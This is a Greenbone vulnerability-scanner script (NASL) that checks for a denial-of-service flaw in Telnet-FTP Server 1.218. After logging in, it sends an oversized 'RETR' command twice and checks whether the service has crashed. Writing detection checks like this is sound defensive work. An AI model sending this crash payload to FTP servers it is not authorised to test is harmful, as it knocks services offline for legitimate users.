Telnet-FTP Server 'RETR' Command Remote DoS Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902819");
  script_version("2025-03-05T05:38:53+0000");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_tag(name:"last_modification", value:"2025-03-05 05:38:53 +0000 (Wed, 05 Mar 2025)");
  script_tag(name:"creation_date", value:"2012-03-21 16:16:16 +0530 (Wed, 21 Mar 2012)");
  script_name("Telnet-FTP Server 'RETR' Command Remote DoS Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("FTP");
  script_dependencies("ftpserver_detect_type_nd_version.nasl", "logins.nasl");
  script_require_ports("Services/ftp", 21);
  script_mandatory_keys("ftp/telnet_ftp/detected");

  script_xref(name:"URL", value:"http://www.1337day.com/exploits/17779");
  script_xref(name:"URL", value:"http://www.allinfosec.com/2012/03/20/dos-poc-telnet-ftp-server-v1-218-remote-crash-poc");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to crash the
  affected application, denying service to legitimate users.");

  script_tag(name:"affected", value:"Telnet-Ftp Server version 1.218 and prior.");

  script_tag(name:"insight", value:"The flaw is caused due an error when handling 'RETR' command,
  which can be exploited to crash the FTP service by sending specially crafted FTP commands.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"summary", value:"Telnet-FTP Server is prone to a denial of service (DoS) vulnerability.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("ftp_func.inc");
include("port_service_func.inc");

ftpPort = ftp_get_port(default:21);
banner = ftp_get_banner(port:ftpPort);
if(! banner || "Telnet-Ftp Server" >!< banner){
  exit(0);
}

soc = open_sock_tcp(ftpPort);
if(! soc){
  exit(0);
}

kb_creds = ftp_get_kb_creds();
user = kb_creds["login"];
pass = kb_creds["pass"];

login_details = ftp_log_in(socket:soc, user:user, pass:pass);
if(! login_details){
  exit(0);
}

exploit = "RETR " + crap(256);

ftp_send_cmd(socket:soc, cmd:exploit);
ftp_send_cmd(socket:soc, cmd:exploit);
ftp_close(socket:soc);

soc1 = open_sock_tcp(ftpPort);
if(! soc1)
{
  security_message(ftpPort);
  exit(0);
}

## Some time server will be listening, but won't respond
banner =  recv(socket:soc1, length:512);
if(! banner || "Telnet-Ftp Server" >!< banner)
{
  security_message(ftpPort);
  exit(0);
}
ftp_close(socket:soc1);